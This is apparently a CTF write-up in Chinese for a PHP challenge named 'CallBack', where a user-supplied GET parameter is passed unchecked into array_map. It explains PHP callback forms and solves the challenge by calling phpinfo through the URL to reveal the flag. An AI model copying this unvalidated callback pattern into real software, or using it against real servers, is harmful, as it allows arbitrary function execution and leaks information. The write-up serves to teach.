【青少年CTF S1·2026 公益赛】CallBack

php 复制代码
<?php
function executeCallback($callback)
{
    $someArray = [0, 1, 2, 3];
    return array_map($callback, $someArray);
}

if (isset($_GET['callback'])) {
    $evilCallback = $_GET['callback'];
    $newArray = executeCallback($evilCallback);
}
?>

什么是回调函数?

回调函数就是函数被当作参数传递给另一个函数,并在合适的实践被"调用"

PHP中4种常见的回调函数写法

1、普通回调函数(字符串传递函数名)

php 复制代码
function sayHi($name) {
    echo "Hi, $name";
}
// 调用:直接传函数名字符串
call_user_func('sayHi', 'Tom');

2、匿名函数回调(最常用)

不同提取定义函数,直接写在参数里面

php 复制代码
$numbers = [1,2,3];
$newArr = array_map(function($n) {
    return $n + 1;
}, $numbers);

3、类方法回调

php 复制代码
class Test {
    public static function hello() {
        echo "Hello";
    }
}
// 静态方法回调
call_user_func(['Test', 'hello']);

4、对象方法回调

php 复制代码
class Test {
    public function hi() {
        echo "Hi";
    }
}
$obj = new Test();
call_user_func([$obj, 'hi']);

题目用 array_map($callback, [0,1,2,3]),这意味着用户传入的函数会被执行,但参数被强制固定为数字 0-3。

当我们传递system()的时候,PHP会执行system(0)、system(1)、system(2)、system(3)

因此不能传递system()函数

这题直接使用phpinfo,phpinfo可以接收整数参数

php 复制代码
http://challenge.qsnctf.com:55842/?callback=phpinfo

直接在配置信息中找到flag

php 复制代码
qsnctf{c893c0079b974676b4dbffad9c43b7d8}
相关推荐
勿忘初心12213 小时前
企业级敏感数据脱敏工具类(Java实现)
网络安全·后端开发·企业级开发·java 工具类·敏感数据脱敏·pipl
Chengbei113 小时前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
liann1194 小时前
3.4_Linux 应急响应排查速查命令表
linux·运维·服务器·安全·网络安全·系统安全
孪生质数-4 小时前
Linux高危漏洞通报Copy Fail - CVE-2026-31431
linux·运维·服务器·ubuntu·网络安全·debian·cve-2026-31431
vortex54 小时前
Villain:新一代轻量级 C2 框架完整使用指南
python·网络安全·kali·c2
汤愈韬5 小时前
Full Cone NAT、行为模式
网络·网络协议·网络安全·security
HackTwoHub6 小时前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入
大方子6 小时前
【PolarCTF】干正则
网络安全·polarctf
Chockmans6 小时前
春秋云境CVE-2021-3019
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2021-3019
汤愈韬20 小时前
三种常用 NAT 的经典案例
网络协议·网络安全·security